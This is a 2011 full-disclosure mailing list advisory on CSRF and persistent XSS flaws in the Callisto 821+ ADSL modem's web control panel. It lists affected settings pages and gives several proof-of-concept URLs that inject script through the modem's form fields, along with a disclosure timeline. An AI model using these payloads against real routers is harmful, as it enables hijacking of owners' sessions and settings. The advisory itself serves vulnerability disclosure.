full-disclosure - Multiple CSRF and XSS vulnerabilities in ADSL modem Callisto 821+

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Message-ID: <009d01cc4e36$fccff770$9b7a6fd5@ml>
Date: Sat, 30 Jul 2011 00:30:23 +0300
From: "MustLive" <mustlive@...security.com.ua>
To: <full-disclosure@...ts.grok.org.uk>
Subject: Multiple CSRF and XSS vulnerabilities in ADSL
	modem Callisto 821+

Hello list!

After discussion with Michael Simpson about these vulnerabilities in
Callisto 821+, I want to warn you about new multiple security
vulnerabilities in ADSL modem Callisto 821+ (SI2000 Callisto821+ Router).

These are Cross-Site Request Forgery and Cross-Site Scripting
vulnerabilities. In April I've already drew attention of Ukrtelecom's
representative (and this modem was bough at Ukrtelecom) about multiple
vulnerabilities in this model of Callisto modems (and other models also
could be affected).

SecurityVulns ID: 11700.

-------------------------
Affected products:
-------------------------

Vulnerable is the next model: SI2000 Callisto821+ Router: X7821 Annex A
v1.0.0.0 / Argon 4x1 CSP v1.0 (ISOS 9.0) [4.3.4-5.1]. This model with other
firmware and also other models of Callisto also must be vulnerable.

----------
Details:
----------

These attacks should be conducted on modem owner, which is logged into
control panel. Taking into account that it's unlikely to catch him in this
state, then it's possible to use before-mentioned vulnerabilities
(http://websecurity.com.ua/5161/) for conducting of remote login (for
logining him into control panel). After that it's possible to conduct CSRF
or XSS attack.

CSRF (WASC-09):

Every connection in section LAN connections, as default, as other
connections, has advanced settings. Let's view on example of default
connection (iplan).

In section Edit connection in subsection Edit Ip Interface
(http://192.168.1.1/configuration/edit-form.html?ImRouter.ImIpInterfaces.iplan)
via CSRF it's possible to change settings (IP, Mask and others) of
connection.

In subsection Edit Tcp Mss Clamp
(http://192.168.1.1/configuration/edit-form.html?ImRouter.ImIpInterfaces.iplan.ImTcpMssClamp)
via CSRF it's possible to change settings of connection.

In subsection Edit Rip Versions
(http://192.168.1.1/configuration/edit-form.html?ImRouter.ImIpInterfaces.iplan.ImRipVersions)
via CSRF it's possible to change settings of connection.

In subsection Edit NAT
(http://192.168.1.1/configuration/edit-form.html?ImRouter.ImIpInterfaces.iplan.ImNatHelper)
via CSRF it's possible to change settings of connection.

XSS (WASC-08):

There are many persistent XSS vulnerabilities in above-mentioned four
subsections of section Edit connection.

In subsection Edit Ip Interface:

http://192.168.1.1/configuration/edit-form.html/edit?EmWeb_ns%3Avim%3A3=%2Fconfiguration%2Fedit-form.html&EmWeb_ns%3Avim%3A2.ImRouter.ImIpInterfaces.iplan%3Aipaddr=%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://192.168.1.1/configuration/edit-form.html/edit?EmWeb_ns%3Avim%3A3=%2Fconfiguration%2Fedit-form.html&EmWeb_ns%3Avim%3A2.ImRouter.ImIpInterfaces.iplan%3Amask=%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://192.168.1.1/configuration/edit-form.html/edit?EmWeb_ns%3Avim%3A3=%2Fconfiguration%2Fedit-form.html&EmWeb_ns%3Avim%3A2.ImRouter.ImIpInterfaces.iplan%3Adhcp=%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://192.168.1.1/configuration/edit-form.html/edit?EmWeb_ns%3Avim%3A3=%2Fconfiguration%2Fedit-form.html&EmWeb_ns%3Avim%3A2.ImRouter.ImIpInterfaces.iplan%3Amtu=%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://192.168.1.1/configuration/edit-form.html/edit?EmWeb_ns%3Avim%3A3=%2Fconfiguration%2Fedit-form.html&EmWeb_ns%3Avim%3A2.ImRouter.ImIpInterfaces.iplan%3AsourceAddrValidation=%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://192.168.1.1/configuration/edit-form.html/edit?EmWeb_ns%3Avim%3A3=%2Fconfiguration%2Fedit-form.html&EmWeb_ns%3Avim%3A2.ImRouter.ImIpInterfaces.iplan%3AicmpRouterAdvertise=%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://192.168.1.1/configuration/edit-form.html/edit?EmWeb_ns%3Avim%3A3=%2Fconfiguration%2Fedit-form.html&EmWeb_ns%3Avim%3A2.ImRouter.ImIpInterfaces.iplan%3Aenabled=%3Cscript%3Ealert(document.cookie)%3C/script%3E

In subsections Edit Tcp Mss Clamp, Edit Rip Versions and Edit NAT the
situation is similar.

And also attacks via the names of parameters are possible (when XSS code is
setting in the name of parameter), which I wrote about earlier
(http://websecurity.com.ua/5277/).

In this case the code will be executed immediately, and also at visiting of
pages http://192.168.1.1/system/events.html and
http://192.168.1.1/shared/event_log_selection.html.

------------
Timeline:
------------

2011.04.14 - informed Ukrtelecom about multiple vulnerabilities in modems,
which they give (sell) to their clients.
2011.07.23 - disclosed at my site.
2011.07.24 - informed developers (Iskratel).

I mentioned about these vulnerabilities at my site
(http://websecurity.com.ua/5296/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua


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